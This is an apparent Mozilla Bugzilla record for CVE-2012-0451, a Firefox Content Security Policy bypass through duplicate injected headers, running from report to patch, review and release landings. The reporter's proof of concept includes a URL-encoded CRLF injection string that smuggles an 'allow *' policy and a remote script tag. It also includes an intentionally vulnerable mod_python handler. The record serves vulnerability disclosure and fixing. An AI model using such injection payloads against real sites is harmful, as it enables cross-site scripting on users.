The default bug view has changed. See this FAQ.
Bug 717511 (CVE-2012-0451)

Bad intersection of injected HTTP headers leads to Content Security Policy (CSP) Bypass

VERIFIED FIXED in Firefox 11

Status

()

Core
DOM: Core & HTML
VERIFIED FIXED
5 years ago
5 years ago

People

(Reporter: mike, Assigned: geekboy)

Tracking

9 Branch
mozilla13
x86_64
Linux
Points:
---

Firefox Tracking Flags

(firefox10 wontfix, firefox11+ fixed, firefox12+ fixed, firefox13+ fixed, firefox-esr1011+ fixed, status1.9.2 unaffected)

Details

(Whiteboard: [sg:moderate][qa-])

Attachments

(1 attachment, 2 obsolete attachments)

(Reporter)

Description

5 years ago
User Agent: Mozilla/5.0 (Ubuntu; X11; Linux x86_64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
Build ID: 20111228084940

Steps to reproduce:

When multiple X-Content-Security-Policy are present they have an additive effect on the policy for that page.  This allows an attacker to introduce a new rule using CRLF injection and obtain XSS.  In the following PoC we are introducing the rule set "allow *" and an HTTP body where we are including alert.js from another domain.  

This poc will not work on your machine because http://sitewatch/alert.js is not accessible to you,  this value will have to be changed.

http://localhsot/crlf.py?url=1%0Ax-content-security-policy:%20allow%20*%0Acontent-length:%2049%0A%0A%3Cscript%20src=%27http://sitewatch/alert.js%27%3E%3C/script%3E

Here is a vulnerable web application where alert(1) does not execute do to the CSP.

from mod_python import apache, util

def handler(req):
    input=util.FieldStorage(req, keep_blank_values=1)
    req.headers_out.add('X-Content-Security-Policy', "default-src 'self'")
    req.headers_out.add('some-header', input.getfirst("url"))
    req.content_type = "text/html"
    req.write("<script>alert(1)</script>")    
    return apache.OK


Here is a generic apache config to run the mod_python file above:
 <Directory /var/www/>
       AddHandler python-program .py
       PythonHandler crlf
       PythonDebug On
       Options Indexes FollowSymLinks MultiViews
       AllowOverride All
       Order allow,deny
       allow from all
 </Directory>
Component: Untriaged → DOM: Core & HTML
Product: Firefox → Core
QA Contact: untriaged → general
Whiteboard: [sg:high]
(In reply to mike from comment #0)
> User Agent: Mozilla/5.0 (Ubuntu; X11; Linux x86_64; rv:9.0.1) Gecko/20100101
> Firefox/9.0.1
> Build ID: 20111228084940
> 
> Steps to reproduce:
> 
> When multiple X-Content-Security-Policy are present they have an additive
> effect on the policy for that page. 

False.  Additional policy headers are intersected with previous policies.  This has the effect of only permitting additional headers to further restrict the policy.

> This allows an attacker to introduce a
> new rule using CRLF injection and obtain XSS.  In the following PoC we are
> introducing the rule set "allow *" and an HTTP body where we are including
> alert.js from another domain.

Header injection is outside of the threat model for CSP.  However, if you have a testcase that shows that two policy headers are being unioned rather than intersected, that would be a bug.  Do you have such a testcase that is publicly accessible?

(I suspect that your handler above is only outputting a single header when you fetch that page... most web app servers will make such an optimization.)
(Reporter)

Comment 2

5 years ago
(I suspect that your handler above is only outputting a single header when you
fetch that page... most web app servers will make such an optimization.)

False.  

Here is the full http request produced by the PoC,  and the result is an alert box:
HTTP/1.1 200 OK
Date: Fri, 13 Jan 2012 22:21:57 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Content-Security-Policy: default-src 'self'
some-header: 1
x-content-security-policy: allow *
content-length: 49

<script src='http://sitewatch/alert.js'></script>
Vary: Accept-Encoding
Content-Encoding: gzip
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

24
)N.,(KI-*0






On Fri, Jan 13, 2012 at 2:39 PM, <bugzilla-daemon@mozilla.org> wrote:

    Do not reply to this email. You can add comments to this bug at
    https://bugzilla.mozilla.org/show_bug.cgi?id=717511

    --- Comment #1 from Brandon Sterne (:bsterne) <brandon@hackmill.com> 2012-01-13 13:39:49 PST ---
    (In reply to mike from comment #0)
    > User Agent: Mozilla/5.0 (Ubuntu; X11; Linux x86_64; rv:9.0.1) Gecko/20100101
    > Firefox/9.0.1
    > Build ID: 20111228084940
    >
    > Steps to reproduce:
    >
    > When multiple X-Content-Security-Policy are present they have an additive
    > effect on the policy for that page.

    False.  Additional policy headers are intersected with previous policies.  This
    has the effect of only permitting additional headers to further restrict the
    policy.

    > This allows an attacker to introduce a
    > new rule using CRLF injection and obtain XSS.  In the following PoC we are
    > introducing the rule set "allow *" and an HTTP body where we are including
    > alert.js from another domain.

    Header injection is outside of the threat model for CSP.  However, if you have
    a testcase that shows that two policy headers are being unioned rather than
    intersected, that would be a bug.  Do you have such a testcase that is publicly
    accessible?

    (I suspect that your handler above is only outputting a single header when you
    fetch that page... most web app servers will make such an optimization.)

    --
    Configure bugmail: https://bugzilla.mozilla.org/userprefs.cgi?tab=email
    ------- You are receiving this mail because: -------
    You reported the bug.
Confirmed.  I made a testcase which I posted here:
http://hackmill.com/tests/bug717511.php

To test the exact behavior, I had to manually create separate headers using a proxy because the best PHP can do is concatenate header values with a comma, e.g.: 

HTTP/1.1 200 OK
Date: Sat, 14 Jan 2012 00:53:09 GMT
Server: Apache
X-Content-Security-Policy: default-src 'self', allow *

Still, this seems wrong.  Geekboy, do you have time to look at this?  I certainly don't at the moment.
Status: UNCONFIRMED → NEW
Ever confirmed: true
(Reporter)

Comment 4

5 years ago
Brandon Sterne,

Yeah I tried it with PHP first as well and I had the same problem,  also note that PHP's header() function isn't vulnerable to crlf injection.  Thats why the PoC is in mod_python.
The case where we improperly handle the comma-separated policies is actually because we're failing to parse the comma character as a valid source character:

x-content-security-policy: default-src 'self', allow *

Error: CSP: Couldn't parse invalid source 'self',

So for my testcase, we seem to be applying the policy "default-src allow *", meaning the host "allow", and *.
(Assignee)

Comment 6

5 years ago
Created attachment 589243 [details]
xpcshell test (initial)

Wrote a quick xpcshell test to expose the problem.  Rough test file attached.  I'm working on a patch to fix it.

The DEBUG data is kind of misleading; it tacks the comma onto 'self', resulting in a mis-identification of the 'self' keyword.  Funny thing is, this wouldn't be a problem if we parsed the HTTP header as multiple policies.  We need to split the incoming HTTP header on commas before passing them to mCSP.RefinePolicy().. unfortunately this is in C++, so it will take me a while to dig into the string libraries for an appropriate splitting/tokenizing mechanism to use.  

I'll take this bug for now and try and hammer out a fix.
Assignee: nobody → sstamm
(Assignee)

Comment 7

5 years ago
On second thought, that xpcshell test won't work.  I want to split the comma-separated header value in nsDocument.cpp, so I'll have to write a mochitest.
(Assignee)

Comment 8

5 years ago
Created attachment 589344 [details] [diff] [review]
proposed patch

Proposed fix.  Splits HTTP header values on commas, treating each one as a new policy passed in sequentially to mCSP.refinePolicy().  Complete with mochitest!

bsterne... whatcha think?
Attachment #589243 - Attachment is obsolete: true
Attachment #589344 - Flags: review?(brandon)
I read through the patch once and things look good.  Before I do a full review, Sid, can you make sure the patch covers the case where there are two separate headers returned by the server?  I'm fairly sure it will, as I believe necko comma-concatenates identical headers in this way before we ever get to parse the value.

This would be easy to test an verify by adding a separate test in your mochitest (assuming httpd.js allows us to send two headers with the same name).
(Assignee)

Comment 10

5 years ago
Thanks, Brandon.  

I could write a second, identical test with two separate headers, but not completely sure it would make a huge difference.  (I believe your suspicion is correct, that necko takes care of concatenation).

If you want to test it with two separate headers, you can edit the "file_bug717511.html^headers^" file added by the patch to have those two separate headers instead of a comma, and then re-run the test.  I can do it tomorrow and post the results here when I get access to my build system again, but I am skeptical that doubling the mochitest overhead for this fix is worth it...
Comment on attachment 589344 [details] [diff] [review]
proposed patch

The patch looks good.  The only point I would raise is that this patch doesn't account for our desire to allow regular CSP and report-only CSP simultaneously (it still explicitly allows one or the other).  Perhaps we should merge this with, or otherwise account for the logic being added in bug 552523.  r+
Attachment #589344 - Flags: review?(brandon) → review+
(Assignee)

Comment 12

5 years ago
Comment on attachment 589344 [details] [diff] [review]
proposed patch

We should update the patch in bug 552523 to work with this change (and not address it in this fix). I think it will be a trivial tweak to the other patch.

Flagging jst for an additional (quick) review since this plays with nsDocument.cpp.  jst, can you give 'er a once-over or recommend another reviewer?
Attachment #589344 - Flags: review?(jst)
(Assignee)

Comment 13

5 years ago
(In reply to Brandon Sterne (:bsterne) from comment #9)
> can you make sure the patch covers the case where there are two
> separate headers returned by the server?  I'm fairly sure it will, as I
> believe necko comma-concatenates identical headers in this way before we
> ever get to parse the value.

I attempted this, but it looks like only one header of each name works in the ^headers^ file (the last one to appear is sent with the response), so to verify the test I have to concatenate them with a comma myself.

Brandon, can you update your test at hackmill and I can manually verify the same behavior with two header values?
I can't, unfortunately, as I only have PHP on that server.  I had to manually trap a response in a proxy and inject a second instance of the header into the response.  Sorry.
Comment on attachment 589344 [details] [diff] [review]
proposed patch

The one thing that sticks out as a possible issue here is how this works if there is whitespace around the ',' separator.

r=jst assuming that works as specified here.
Attachment #589344 - Flags: review?(jst) → review+
(Assignee)

Comment 16

5 years ago
I think the tokenizer trims leading/trailing whitespace.  If it doesn't, the CSP parser (CSPUtils.jsm:*.fromString()) trims whitespace as it tokenizes the policy being parsed.  Thanks, jst.
(Assignee)

Comment 17

5 years ago
I think it makes sense to add a second mochitest to verify behavior with whitespace around the comma.  Lets hold this until I get a chance to append that test and upload a new patch.
(Assignee)

Comment 18

5 years ago
Created attachment 589620 [details] [diff] [review]
proposed patch (v2 - now with moar tests)

Carrying over r+ from bsterne and jst.  This update to the patch adds a second test that introduces whitespace around the comma.
Attachment #589344 - Attachment is obsolete: true
Attachment #589620 - Flags: review+
https://hg.mozilla.org/integration/mozilla-inbound/rev/f3bcb3c7e5d8
Fixed.

http://hg.mozilla.org/mozilla-central/rev/f3bcb3c7e5d8
Status: NEW → RESOLVED
Last Resolved: 5 years ago
Resolution: --- → FIXED
(Reporter)

Comment 21

5 years ago
Could I get a CVE issued for this. 

An advisory will be made available here:
https://sitewat.ch/en/Advisories/28
Target Milestone: --- → mozilla13
status1.9.2: --- → unaffected
status-firefox-esr10: --- → affected
status-firefox10: --- → wontfix
status-firefox11: --- → affected
status-firefox12: --- → affected
status-firefox13: --- → fixed
tracking-firefox-esr10: --- → ?
tracking-firefox11: --- → +
tracking-firefox12: --- → +
tracking-firefox13: --- → +
use CVE-2012-0451.

The current status of this bug is "will be fixed in Firefox 13, released June 5". I'm sure we can get this fix into Firefox 12 (April) and reasonable sure we can get it into Firefox 11 (mid-March).

I'm not convinced a security impact of "high" is accurate. This is an attack against sites which are already vulnerable for users of browsers that don't support CSP. In addition given the type of flaw exactly what you could bypass would depend on what terms were in your CSP header. If your policy started with an explicit script-src list and followed with something else that would limit what kinds of holes could be poked. IMO "moderate" is more appropriate given the mitigations.
Alias: CVE-2012-0451
Summary: Content Security Policy Bypass → Bad intersection of injected HTTP headers leads to Content Security Policy (CSP) Bypass
Whiteboard: [sg:high] → [sg:moderate]
Comment on attachment 589620 [details] [diff] [review]
proposed patch (v2 - now with moar tests)

[Approval Request Comment]
Regression caused by (bug #):
  none
User impact if declined:
  potentially unprotected from XSS on CSP-using sites if the site
  *also* has a header injection vulnerability
Testing completed (on m-c, etc.):
  automated tests checked in with patch
Risk to taking this patch (and alternatives if risky):
  might break some CSP-using site that turned out to have been issuing
  two headers all this time that accidentally "worked" only because of
  this bug
String changes made by this patch:
  none
Attachment #589620 - Flags: approval-mozilla-beta?
Attachment #589620 - Flags: approval-mozilla-aurora?
(Reporter)

Comment 24

5 years ago
@Daniel Veditz

The CSP was created to prevent Firefox users from vulnerabilities in web applications.  Saying that a vulnerability in the CSP isn't a high priority is message saying that protecting your users from attack isn't a high priority.   We all want a world without XSS (Postcards from a Post-XSS World http://lcamtuf.coredump.cx/postxss/).  Well that world isn't possible with this bug.
(In reply to Daniel Veditz from comment #23)
> Risk to taking this patch (and alternatives if risky):
>   might break some CSP-using site that turned out to have been issuing
>   two headers all this time that accidentally "worked" only because of
>   this bug

Are we aware of servers types/versions that may misbehave in this fashion? How regular of an occurrence would this be if a site was affected? I want to make sure we don't break the web.
Comment on attachment 589620 [details] [diff] [review]
proposed patch (v2 - now with moar tests)

[Triage Comment]
Dolske informed us during triage that CSP usage is very low in the wild. Given that, there shouldn't be much opportunity for web incompatibilities. Approved for Aurora 12 and Beta 11.
Attachment #589620 - Flags: approval-mozilla-beta?
Attachment #589620 - Flags: approval-mozilla-beta+
Attachment #589620 - Flags: approval-mozilla-aurora?
Attachment #589620 - Flags: approval-mozilla-aurora+

Updated

5 years ago
tracking-firefox-esr10: ? → .1+

Updated

5 years ago
tracking-firefox-esr10: .1+ → 11+
This was approved for m-a/m-b. Can we land this ASAP Sid?

Please land on mozilla-esr10 as well. For more information on the landing process, please see https://wiki.mozilla.org/Release_Management/ESR_Landing_Proces
https://hg.mozilla.org/releases/mozilla-aurora/rev/5b9d4fd12bde
https://hg.mozilla.org/releases/mozilla-beta/rev/8bf839d9f52b

and I have this ready to go for the esr branch too, but the esr tree is closed so I was not able to land it there yet.
https://hg.mozilla.org/releases/mozilla-esr10/rev/15c3707ee5ae
status-firefox-esr10: affected → fixed
status-firefox11: affected → fixed
status-firefox12: affected → fixed
Is there something QA can do to verify this bug?
Whiteboard: [sg:moderate] → [sg:moderate][qa?]
It's unclear to me that QA can verify this fix using the test in comment 3 or comment 0. If you are already set up to reproduce the original issue, please verify this is fixed. We need verification in Firefox 11, 12, 13, and 10.0.3esr.

Thanks
Whiteboard: [sg:moderate][qa?] → [sg:moderate][qa-]
Why were the tests for this security bug already checked in?

Anthony, at this point, you can probably verify it with checked in tests. :-)
Marking as verified for trunk based on checked in tests passing.
Status: RESOLVED → VERIFIED
(Assignee)

Comment 34

5 years ago
(In reply to Al Billings [:abillings] from comment #32)
> Why were the tests for this security bug already checked in?

It was trivial to figure out the flaw from the bits of nsDocument.cpp that were modified by the fix.
Group: core-security
You need to log in before you can comment on or make changes to this bug.